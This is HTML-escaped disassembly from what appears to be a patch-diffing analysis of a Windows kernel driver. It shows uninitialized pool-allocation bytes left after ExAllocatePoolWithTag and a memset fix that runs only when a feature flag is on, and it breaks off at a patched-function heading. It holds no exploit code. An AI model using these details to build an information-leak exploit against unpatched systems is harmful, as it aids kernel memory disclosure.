&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F19B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;NumberOfBytes&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F19D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PoolType&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1A2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1A4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F20B&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;allocate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;without&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zeroing&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1A6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1AD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+rax+00h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1B2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1B5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1B8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F21F&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1BA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;Size&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1BD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Val&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1BF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1C2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;THE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;FIX&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;whole&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;***&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F1C7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;and&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;shared&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;here&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F20B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;feature&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;OFF&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;path&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F212&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;nop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+rax+00h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F217&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F21A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F21D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F1C7&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;jumps&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PAST&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zeroing&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F21F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="n"&gt;C0000017h&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F224&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C001F27C&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key observations:&lt;/strong&gt;
- In the unpatched build the &lt;code&gt;call ExAllocatePoolWithTag&lt;/code&gt; at &lt;code&gt;0x1C001F18A&lt;/code&gt; is followed directly by the NULL check at &lt;code&gt;0x1C001F199&lt;/code&gt; — no zeroing call exists.
- When &lt;code&gt;arg5&lt;/code&gt; is NULL, the branch at &lt;code&gt;0x1C001F225&lt;/code&gt; only zeroes the dword at &lt;code&gt;[rbx+0x38]&lt;/code&gt;, leaving bytes &lt;code&gt;[0x3C–0x3F]&lt;/code&gt; (the last 4 bytes of the 0x40-byte allocation) uninitialized.
- When &lt;code&gt;arg5&lt;/code&gt; is non-NULL, &lt;code&gt;memmove&lt;/code&gt; fills &lt;code&gt;*arg5&lt;/code&gt; bytes from &lt;code&gt;[rbx+0x3C]&lt;/code&gt;, but the allocation is &lt;code&gt;*arg5 + 0x42&lt;/code&gt;, so roughly 6 trailing bytes are left uninitialized.
- In the patched build the &lt;code&gt;memset&lt;/code&gt; at &lt;code&gt;0x1C001F1C2&lt;/code&gt; runs only on the feature-enabled path (&lt;code&gt;0x1C001F1A6&lt;/code&gt;). The feature-disabled path (&lt;code&gt;0x1C001F20B&lt;/code&gt;) allocates and then jumps to &lt;code&gt;0x1C001F1C7&lt;/code&gt;, skipping the &lt;code&gt;memset&lt;/code&gt; — identical to the unpatched behavior. The fix is therefore staged behind the feature flag.&lt;/p&gt;
&lt;h3&gt;Finding 2: &lt;code&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/code&gt; — global descriptor vs. per-descriptor context&lt;/h3&gt;
&lt;p&gt;The unpatched CAS loop re-reads and retries on failure; it is a correct lock-free atomic operation, not a race.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;---- wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath @ 0x1C00028DC ---- (UNPATCHED)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028DC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;wil_details_featureDescriptors_a&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;global&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;descriptor&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028E3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028E6&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C00028F3&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;locret_1C0002915&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx+1Fh&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028F1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C00028F9&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028F3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028F9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;each&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;retry&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028FC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C00028FE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;locret_1C0002915&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002900&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002902&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002904&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002907&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;locret_1C0002915&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002909&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000290B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="ow"&gt;or&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C000290E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;cmpxchg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r9&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;atomic&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CAS&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002913&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loc_1C00028FC&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;retry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;failure&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;correct&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CAS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;loop&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C0002915&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;retn&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;---- wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath @ 0x1C0001C44 ---- (PATCHED)&lt;/span&gt;
